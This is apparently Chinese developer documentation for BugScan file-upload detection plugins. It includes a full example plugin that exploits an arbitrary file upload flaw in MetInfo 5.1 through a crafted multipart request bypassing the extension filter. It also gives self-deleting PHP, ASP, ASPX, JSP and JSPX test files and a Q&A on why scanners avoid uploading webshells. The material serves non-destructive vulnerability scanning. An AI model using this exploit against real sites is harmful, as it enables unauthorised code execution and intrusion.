文件上传类

文件上传类插件可以分两种方法进行上传:

  • raw (推荐)

    直接发送 HTTP 原始报文，可直接从 BurpSuite 中复制该报文，使用 hackhttp 的 raw 发包形式来上传文件。

  • post

    通过构造 enctype="multipart/form-data" 形式的 form 表单来上传文件。

    由于 MIME 类型较多，在处理时比较麻烦，官方推荐使用 raw 形式上传文件。

范例插件

MetInfo5.1 /feedback/uploadfile_save.php 任意文件上传

感谢插件作者: wonderkun

  1. #!/usr/bin/evn python
  2. # -*-:coding:utf-8 -*-
  3. # Author: wonderkun
  4. # Name: MetInfo5.1 任意文件上传 getshell
  5. # Refer: http://www.wooyun.org/bugs/wooyun-2015-0139168
  6. # Data: 2015/12/15
  8. import time
  10. def assign(service,arg):
  11.     if service == fingerprint.metinfo:
  12.         return True, arg
  14. def audit(arg):
  15.     url = arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo"
  17.     raw = '''
  18. POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
  19. Host: localhost
  20. Content-Length: 423
  21. Cache-Control: max-age=0
  22. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  23. Origin: null
  24. Upgrade-Insecure-Requests: 1
  25. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
  26. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
  27. Accept-Encoding: gzip, deflate
  28. Accept-Language: zh-CN,zh;q=0.8
  29. Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1
  31. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
  32. Content-Disposition: form-data; name="fd_para[1][para]"
  34. filea
  35. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
  36. Content-Disposition: form-data; name="fd_para[1][type]"
  38. 5
  39. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
  40. Content-Disposition: form-data; name="filea"; filename="test.php"
  41. Content-Type: application/x-php
  43. <?php echo md5(1);unlink(__FILE__);?>
  44. ------WebKitFormBoundaryE1toBNeESf6p0uXQ--
  45.     '''
  46.     # proxy=('127.0.0.1',8080)
  47.     code1, head1, res1, finalurl1, log1 = hackhttp.http(url, raw=raw)
  49.     # get upload file name
  50.     name = int(time.time())
  51.     for i in range(3):
  52.         filename = name + i
  53.         url = arg + 'upload/file/%s.php' % (str(filename))
  54.         code2, head2, res2, finalurl2, log2 = hackhttp.http(url)
  55.         if code2 == 200 and "c4ca4238a0b923820dcc509a6f75849b" in res2:
  56.             # 只用传递触发漏洞的 log，验证上传成功的 log 不需要
  57.             security_hole('file upload Vulnerable:' + arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo", log=log1)
  58.             break
  59. if __name__ == '__main__':
  60.     from dummy import *
  61.     audit(assign(fingerprint.metinfo, "http://127.0.0.1/metinfo5.1/")[1])

文件上传类插件检测步骤

  1. 上传指定文件到目标
  2. 访问上传后的文件
  3. 判断是不是 1 中上传的文件

文件上传类的插件原则

  1. 一般情况下要求上传可执行的文件，例如：php, asp, aspx, jsp
  2. 上传文件内容要求对目标不得造成任何形式的损害。
  3. 上传后的文件，在访问一次之后应该自删除。
  4. 文件名应该尽量随机，不要与正常文件名相同。

上传文件样例代码

BugScan 社区官方提供了以下几类语言的上传检测样本，供开发者参考，所有文件都会在访问一次之后自删除，如果无删除权限时，由于其只输出字符串，也不会造成太大危害。

  • PHP

    1.   <?php echo md5(233);unlink(__FILE__);?>

    输出: e165421110ba03099a1c0393373c5b43

  • ASP

    1.   <%
    2.   Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
    3.   CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
    4.   %>

    访问该文件后输出: e165421110ba03099a1c0393373c5b43

  • ASPX

    1.   <%@Page Language="C#"%>
    2.   <%
    3.   Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    4.   System.IO.File.Delete(Request.PhysicalPath);
    5.   %>

    访问该文件后输出：e165421110ba03099a1c0393373c5b43

  • JSP

    1.   <%
    2.   out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    3.   new java.io.File(application.getRealPath(request.getServletPath())).delete();
    4.   %>

    访问该文件后输出：e165421110ba03099a1c0393373c5b43

  • JSPX

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0"  xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">  
    3. <jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />  
    4. <jsp:scriptlet> 
    5. out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    6. new java.io.File(application.getRealPath(request.getServletPath())).delete();
    7. </jsp:scriptlet>
    8. </jsp:root>

    访问该文件后输出：e165421110ba03099a1c0393373c5b43

文件上传 Q & A

Q: 为什么不能上传 eval($_POST[a]);?

A: 上传 webshell 会对目标造成危害，违反了无损扫描这一约定，并且上传内容中包含后门特征，容易被防护产品拦截。

Q: 为什么不能上传 phpinfo();?

A: phpinfo();看起来无害实际上却有着泄漏目标服务敏感信息的危害。如果在检测后忘记删除文件，会对其它攻击者提供便利。

Q: 为什么要自删除？

A: 自删除可保证在检测之后不会在目标系统中留下检测时产生的文件，对目标影响较小。如果上传的件名不是随机的，在下次上传时会出现写入不成功的情况。

Q: 为什么文件名要随机？

A: 文件名随机在检测没有重命名处理的上传点时好处有：

  1. 如果文件名与现有的文件同名，写入会失败或者覆盖原文件。
  2. 第一次检测上传成功，在修复漏洞后忘记删除该文件，下次检测时访问该文件会产生误报。